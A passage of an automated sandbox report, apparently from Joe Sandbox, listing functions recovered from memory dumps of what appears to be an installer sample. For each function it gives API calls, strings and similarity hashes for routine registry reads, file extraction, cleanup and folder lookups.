RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,00000000), ref: 002BB480
RegQueryValueExW.KERNEL32(00000000,ProductType,00000000,00000000,?), ref: 002BB4BB
RegQueryValueExW.KERNEL32(00000000,ProductSuite,00000000,00000000,?,?), ref: 002BB536
RegCloseKey.KERNEL32(00000000), ref: 002BB70E

Strings

EmbeddedNT, xrefs: 002BB606
Small Business(Restricted), xrefs: 002BB5ED
ProductSuite, xrefs: 002BB52B
Small Business, xrefs: 002BB570
ProductType, xrefs: 002BB4B0
CommunicationServer, xrefs: 002BB5BB
Embedded(Restricted), xrefs: 002BB667
Compute Server, xrefs: 002BB6AC
ServerNT, xrefs: 002BB4E4
Enterprise, xrefs: 002BB589
>, xrefs: 002BB6FF
Terminal Server, xrefs: 002BB5D4
WinNT, xrefs: 002BB4C1
BackOffice, xrefs: 002BB5A2
DataCenter, xrefs: 002BB61F
Personal, xrefs: 002BB639
SYSTEM\CurrentControlSet\Control\ProductOptions, xrefs: 002BB476
Security Appliance, xrefs: 002BB67E
Storage Server, xrefs: 002BB695
Blade, xrefs: 002BB650

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$ServerNT$Small Business$Small Business(Restricted)$Storage Server$Terminal Server$WinNT$>
API String ID: 1586453840-1501444835
Opcode ID: c5aacd3c69cee392d80e74c13c28216dc0a899ebf80bd75b507da64a5fa7706b
Instruction ID: 323ec29ff448ea9610484b1f4916cfbe443bec562511dc3af320a0077bcf0d94
Opcode Fuzzy Hash: c5aacd3c69cee392d80e74c13c28216dc0a899ebf80bd75b507da64a5fa7706b
Instruction Fuzzy Hash: C37112357203698ADB22DF25CD807FA73A9EF41380F104575E906AB6D6EBB4CC648B41

Uniqueness

Uniqueness Score: -1.00%

Function 6A563E60 Relevance: 37.1, APIs: 4, Strings: 17, Instructions: 386
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,?,?,?,?,?,?,00000000,6A59E46D,000000FF), ref: 6A563ECC
RegQueryValueExW.KERNEL32(?,ProductType,00000000,00000000,?,?,?,?,?,?,?,00000000,6A59E46D,000000FF), ref: 6A563EFE
RegQueryValueExW.KERNEL32(?,ProductSuite,00000000,00000000,?,?,?,?,?,?,?,00000000,6A59E46D,000000FF), ref: 6A563FA7
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000000,6A59E46D,000000FF), ref: 6A564364

Strings

Security Appliance, xrefs: 6A564286
Enterprise, xrefs: 6A56402C, 6A564036
CommunicationServer, xrefs: 6A5640AC, 6A5640B6
ProductSuite, xrefs: 6A563F9F
Blade, xrefs: 6A564226
Personal, xrefs: 6A5641F3
BackOffice, xrefs: 6A56406C, 6A564076
Small Business(Restricted), xrefs: 6A56412C, 6A564136
DataCenter, xrefs: 6A5641AC, 6A5641B6
Embedded(Restricted), xrefs: 6A564256
SYSTEM\CurrentControlSet\Control\ProductOptions, xrefs: 6A563EC2
Small Business, xrefs: 6A563FE0, 6A563FF4
Terminal Server, xrefs: 6A5640EC, 6A5640F6
ProductType, xrefs: 6A563EF6
Storage Server, xrefs: 6A5642B3
EmbeddedNT, xrefs: 6A56416C, 6A564176
Compute Server, xrefs: 6A5642E3

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$Small Business$Small Business(Restricted)$Storage Server$Terminal Server
API String ID: 1586453840-555442329
Opcode ID: 92f062eb09715d3e234366e3f92b53a9a19f744e55ac636754846e63b2acbd66
Instruction ID: 101a2da8a4dfce9f33039623966f13390e6bfa03f62bff8390423ac53f9b115d
Opcode Fuzzy Hash: 92f062eb09715d3e234366e3f92b53a9a19f744e55ac636754846e63b2acbd66
Instruction Fuzzy Hash: 2DE124346002568BDB50DF94D6203FAFBF1FF02365F56A245EC84AB5A9EF348A81C794

Uniqueness

Uniqueness Score: -1.00%

Function 002D7B60 Relevance: 32.2, APIs: 12, Strings: 6, Instructions: 717
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?), ref: 002D7D21

Part of subcall function 002E3330: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 002E340A

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?), ref: 002D7F0C
GetLastError.KERNEL32(?,?,?), ref: 002D7F2C
GetLastError.KERNEL32(?, Error:,00000007,Failed to extract file:,00000017,?,?,?,?,?,?,?,?), ref: 002D7FFE
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?), ref: 002D808E
GetLastError.KERNEL32(?,?,?), ref: 002D8099

Part of subcall function 002B9370: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,DF534560,?,00000000), ref: 002B93BB
Part of subcall function 002B9370: GetLastError.KERNEL32(?,00000000), ref: 002B93C5

ReadFile.KERNEL32(?,00000000,00000000,?,00000000,00010000,?,?,?), ref: 002D8188
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?), ref: 002D81BA
FindCloseChangeNotification.KERNEL32(?,?,?,?), ref: 002D823F
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 002D8287
CloseHandle.KERNEL32(?,?,003D74EC,?,?,?), ref: 002D82F5
CloseHandle.KERNEL32(?,003D74EC,?,?,?), ref: 002D8327
FindFirstFileW.KERNEL32(?,00000000,?,?), ref: 002D8510
FindClose.KERNEL32(00000000,?,?), ref: 002D8545
DeleteFileW.KERNEL32(?,?,00000000,DF534560,?,?), ref: 002D85E9
GetLastError.KERNEL32(?,?), ref: 002D85F3

Strings

t=, xrefs: 002D82E9
Error:, xrefs: 002D7FF0
Failed to extract file:, xrefs: 002D7FBF
t=, xrefs: 002D831B
Not enough disk space to extract file:, xrefs: 002D7DF2
tU/, xrefs: 002D867F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$ErrorLast$Close$Find$CreateHandle$ChangeDeleteDiskFirstFormatFreeMessageNotificationPointerReadSpaceWrite
String ID: Error:$Failed to extract file:$Not enough disk space to extract file:$tU/$t=$t=
API String ID: 4292054313-1465471974
Opcode ID: e2559466dff794a4fd36538659a30140e5cd669b2b23c004432e4a61e1b01d09
Instruction ID: c585c1bdae59c40c83091eb9a09e383f4bc6272bb830ba9a867ed035c4ac9690
Opcode Fuzzy Hash: e2559466dff794a4fd36538659a30140e5cd669b2b23c004432e4a61e1b01d09
Instruction Fuzzy Hash: 6742F271A00205EFDB10DF68C884BAEBBB5FF45324F14826AE915AB391DB74ED15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002C9990 Relevance: 32.1, APIs: 8, Strings: 10, Instructions: 596libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 002C9C90
GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsFolder,0000000D), ref: 002C9D77
GetModuleFileNameW.KERNEL32(00000000,?,00000104,WindowsVolume,0000000D), ref: 002C9F5D

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsVolume,0000000D), ref: 002C9E55

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

GetTempPathW.KERNEL32(00000104,?,WindowsVolume,0000000D), ref: 002C9EC1
__Init_thread_footer.LIBCMT ref: 002CA085
LoadLibraryW.KERNEL32(shfolder.dll), ref: 002CA09B
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 002CA0CD

Strings

ProgramFiles64Folder, xrefs: 002C99C8
SETUPEXEDIR, xrefs: 002C9F0C
WindowsFolder, xrefs: 002C9D04, 002C9D19, 002C9D23
ProgramW6432, xrefs: 002C9A24
TempFolder, xrefs: 002C9E7F
WindowsVolume, xrefs: 002C9DE4, 002C9DF9, 002C9E03
SystemFolder, xrefs: 002C9AFF, 002C9B14, 002C9B1E
System32Folder, xrefs: 002C9C1D, 002C9C32, 002C9C3C
SHGetFolderPathW, xrefs: 002CA0C7
shfolder.dll, xrefs: 002CA096

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: DirectoryInit_thread_footer$Windows$AddressFileFindHeapLibraryLoadModuleNamePathProcProcessResourceSystemTemp
String ID: ProgramFiles64Folder$ProgramW6432$SETUPEXEDIR$SHGetFolderPathW$System32Folder$SystemFolder$TempFolder$WindowsFolder$WindowsVolume$shfolder.dll
API String ID: 1332424260-2142986682
Opcode ID: b58de36dece638a71c4a09d0001554252b16ceec61e518f4ccabf8e6dddfdaab
Instruction ID: e655119971b448f3b48953f069bf3f2074af3ab0b89eb14a72ff678f20c8b7e5
Opcode Fuzzy Hash: b58de36dece638a71c4a09d0001554252b16ceec61e518f4ccabf8e6dddfdaab
Instruction Fuzzy Hash: D122E17061020A8BDB24DF28CC89FEAB3B5EF55304F5443ADE50A9B291DB719E91CB85

Uniqueness

Uniqueness Score: -1.00%

Function 002D8BB0 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 354
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,DF534560,?,?,00000002,?,?,?,?,?,?,00000000,003B5B02), ref: 002D8C07
GetLastError.KERNEL32(?,00000002), ref: 002D8E99
GetLastError.KERNEL32(?,00000002), ref: 002D8F43
GetLastError.KERNEL32(?,00000002,?,?,?,?,?,?,00000000,003B5B02,000000FF,?,002D7B1A,00000010), ref: 002D8C16

Part of subcall function 002B9370: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,DF534560,?,00000000), ref: 002B93BB
Part of subcall function 002B9370: GetLastError.KERNEL32(?,00000000), ref: 002B93C5

ReadFile.KERNEL32(?,00000000,00000008,80070057,00000000,?,00000002), ref: 002D8CD8
ReadFile.KERNEL32(?,DF534560,00000000,00000000,00000000,00000001,?,00000002), ref: 002D8D55

Strings

t=, xrefs: 002D9957
t=, xrefs: 002D9979
t=, xrefs: 002D9B72

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorLast$File$Read$FormatMessagePointer
String ID: t=$t=$t=
API String ID: 3903527278-220515560
Opcode ID: 604925df8390c3b724a33defdc18f4067fb96dbfa73b1ac4237363eb0cc8d503
Instruction ID: 6ff3e14a318c8cfef8e82ecde23cfb3597450e4c3e97ab36b0f16a0f4a0598d5
Opcode Fuzzy Hash: 604925df8390c3b724a33defdc18f4067fb96dbfa73b1ac4237363eb0cc8d503
Instruction Fuzzy Hash: 6AD18171D1020ADFDB00DFA8C885BAEB7B5FF45314F14826AE815AB392DB74AD15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002CE310 Relevance: 14.5, APIs: 6, Strings: 2, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

GetTickCount.KERNEL32 ref: 002CE394
__Xtime_get_ticks.LIBCPMT ref: 002CE39C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002CE3E6
__Init_thread_footer.LIBCMT ref: 002CE5E1
GetCurrentProcess.KERNEL32 ref: 002CE983
CloseHandle.KERNEL32(00000000), ref: 002CEA00

Strings

\/:*?"<>|, xrefs: 002CE5A3
t=, xrefs: 002CE9F1

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$Process$CloseCountCurrentHandleHeapTickUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID: \/:*?"<>|$t=
API String ID: 2307806820-1724533292
Opcode ID: 8a08a11e09fe64bd94a3e2cbe174cb9585b765d08d3c1c85ae70d6d0488a7e54
Instruction ID: fadc87879fd29bebf0b7650c781efefe9e2192ffe3311f5d9366fa27e58f81e4
Opcode Fuzzy Hash: 8a08a11e09fe64bd94a3e2cbe174cb9585b765d08d3c1c85ae70d6d0488a7e54
Instruction Fuzzy Hash: 51228C70910259DFDB10DF68CC45BEEBBB4BF55304F1482ADE409AB292DBB4AA44CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A5528D0 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 394
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

Part of subcall function 6A547210: #17.MSI(00000002,?,00000000,?,AA831995), ref: 6A5472C2
Part of subcall function 6A547210: #125.MSI(00000000,00000000,[1],?,AA831995), ref: 6A5472D9
Part of subcall function 6A547210: #125.MSI(00000000,00000001,AA831995,?,AA831995), ref: 6A5472E6
Part of subcall function 6A547210: #103.MSI(00000000,04000000,00000000,?,AA831995), ref: 6A5472F8
Part of subcall function 6A547210: #8.MSI(00000000,?,AA831995), ref: 6A547307

FindNextFileW.KERNEL32(00000000,?,00000000,?,00000000,*.*,00000003,7FFFFFFE,?,6A5D5C04,?), ref: 6A552BA0
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,6A5D5C04,?), ref: 6A552DF2

Strings

", xrefs: 6A552E82
., xrefs: 6A552BC9
Logging is enabled, sending data ..., xrefs: 6A552B0F
session, xrefs: 6A552CB3
*.*, xrefs: 6A552A26
Logging is disabled, discard collected data., xrefs: 6A552961

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: #125File$#103DeleteFindHeapNextProcess
String ID: "$*.*$.$Logging is disabled, discard collected data.$Logging is enabled, sending data ...$session
API String ID: 1195310492-512075754
Opcode ID: 804d9a965c94c90996bb80b3e57c19e40c6189bd0f5b813d593829ab85a447a5
Instruction ID: 3f66ebb00b47e48a0462a752cab7d7f03d63fdfa30450553c0731b7e8ccf850b
Opcode Fuzzy Hash: 804d9a965c94c90996bb80b3e57c19e40c6189bd0f5b813d593829ab85a447a5
Instruction Fuzzy Hash: 86F1AF70804258DBDB26DBA4C858BDEBBB4EF45318F1186DAD409A7292DF709F48CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002B5D90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 324
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveDirectoryW.KERNEL32(?,00000000,?,\\?\,00000004,?,002B6813), ref: 002B5E33

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

RemoveDirectoryW.KERNEL32(00000008,DF534560,00000008,00000000,00000008,00000000,003AE8AD,000000FF,?,002B6813), ref: 002B5E62
GetLastError.KERNEL32(?,002B6813,?,?,?,?,?,?,?,?,?,?,?,?,003BB955,000000FF), ref: 002B5E72
DeleteFileW.KERNEL32(?,00000000,?,\\?\,00000004,?,00000000,003AE8AD,000000FF,?,80004005,DF534560,00000008,00000000,00000008,00000000), ref: 002B5F43
GetLastError.KERNEL32(?,DF534560,00000008,00000000,?,00000000,003AE8AD,000000FF,?,80004005,DF534560,00000008,00000000,00000008,00000000,003AE8AD), ref: 002B5F82

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

DeleteFileW.KERNEL32(?,DF534560,00000008,00000000,?,00000000,003AE8AD,000000FF,?,80004005,DF534560,00000008,00000000,00000008,00000000,003AE8AD), ref: 002B5F72
_wcsrchr.LIBVCRUNTIME ref: 002B6071

Strings

\\?\, xrefs: 002B5DF4, 002B5E06, 002B5E10, 002B5F04, 002B5F16, 002B5F20

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: DeleteDirectoryErrorFileHeapInit_thread_footerLastRemove$AllocateFindProcessResource_wcsrchr
String ID: \\?\
API String ID: 3513978327-4282027825
Opcode ID: 6395781cec13270dd7b6e07f5e27b76c8dc4ecc9cb9995c35570a91b6b609b38
Instruction ID: 2f88eb157e31d3c38742bb70d9eb1d0e261492ac626cb8472f5a2a67a3182480
Opcode Fuzzy Hash: 6395781cec13270dd7b6e07f5e27b76c8dc4ecc9cb9995c35570a91b6b609b38
Instruction Fuzzy Hash: 2AA1DD71A10A16DFDB10DF68C848BEEB7A8FF05361F148669E921DB2D1DB35E910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00348C83 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DecodePointer.KERNEL32(DF534560,?,?,00348FC9,00459E58,?,?,?,002F5CF7,00000000,DF534560,?,002F5E32), ref: 00348C95
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,DF534560,?,?,00348FC9,00459E58,?,?,?,002F5CF7,00000000,DF534560,?,002F5E32), ref: 00348CAA
DecodePointer.KERNEL32(DF534560,?,?,?,?,?,?,?,?,?,00000000,DF534560,?,002F5E32), ref: 00348D26

Strings

atlthunk.dll, xrefs: 00348CA5
AtlThunk_FreeData, xrefs: 00348D00
AtlThunk_DataToCode, xrefs: 00348CE9
AtlThunk_InitData, xrefs: 00348CD2
AtlThunk_AllocateData, xrefs: 00348CBB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: c2d3b4de0a9cd18507e1250a78826f476b5afb1a2058746955b39fcf7cce0db8
Instruction ID: 122e82ba7f0eec1c3938a4f10c76d27b432088f3c8ee7088aca7970d90262b25
Opcode Fuzzy Hash: c2d3b4de0a9cd18507e1250a78826f476b5afb1a2058746955b39fcf7cce0db8
Instruction Fuzzy Hash: E1016131D42314A6CB17A724AD07FCE3B959B22B89F140065FC09BE1D3DEA5AD088B99

Uniqueness

Uniqueness Score: -1.00%

Function 002DA3C0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000), ref: 002DA586
SetFilePointer.KERNEL32(?,7FFFFFFF,00000000,00000000,?), ref: 002DA5E5
SetEndOfFile.KERNEL32(?), ref: 002DA5EE
FindCloseChangeNotification.KERNEL32(?), ref: 002DA607

Strings

Not enough disk space to extract file:, xrefs: 002DA48A
%sholder%d.aiph, xrefs: 002DA562
t=, xrefs: 002DA5FB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$ChangeCloseCreateFindNotificationPointer
String ID: %sholder%d.aiph$Not enough disk space to extract file:$t=
API String ID: 3635197886-729966713
Opcode ID: 6dcffd28cf7516ac6b0af5ffec166720ed9da7d9c80090eb6f0eda3d55c78ffc
Instruction ID: eae1d5fbb163fa8133914f99916fa6d1449709587be4540530aa886840d0cb61
Opcode Fuzzy Hash: 6dcffd28cf7516ac6b0af5ffec166720ed9da7d9c80090eb6f0eda3d55c78ffc
Instruction Fuzzy Hash: A5818D75A1020A9BDB10DF68CC49BAEB7A8FF44320F14865AF925E7391DB74ED10CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A564900 Relevance: 10.8, APIs: 7, Instructions: 320fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,AA831995,?,?), ref: 6A564988
ReadFile.KERNEL32(?,00000000,00001000,?,00000000,00001000), ref: 6A5649FB
CloseHandle.KERNEL32(?), ref: 6A564C0A
ReadFile.KERNEL32(?,00000000,00001000,00000000,00000000,?,00000000,00000000), ref: 6A564CDE

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: File$Read$CloseCreateHandle
String ID:
API String ID: 1724936099-0
Opcode ID: a612e101335293d8812562756999b7b0e380ec2e46dff98cf193e0184d4fb50e
Instruction ID: 0e368cd348324521d5ba1debbebcd0d1f4cfe7ce0c5ed68e05d32b1056364a83
Opcode Fuzzy Hash: a612e101335293d8812562756999b7b0e380ec2e46dff98cf193e0184d4fb50e
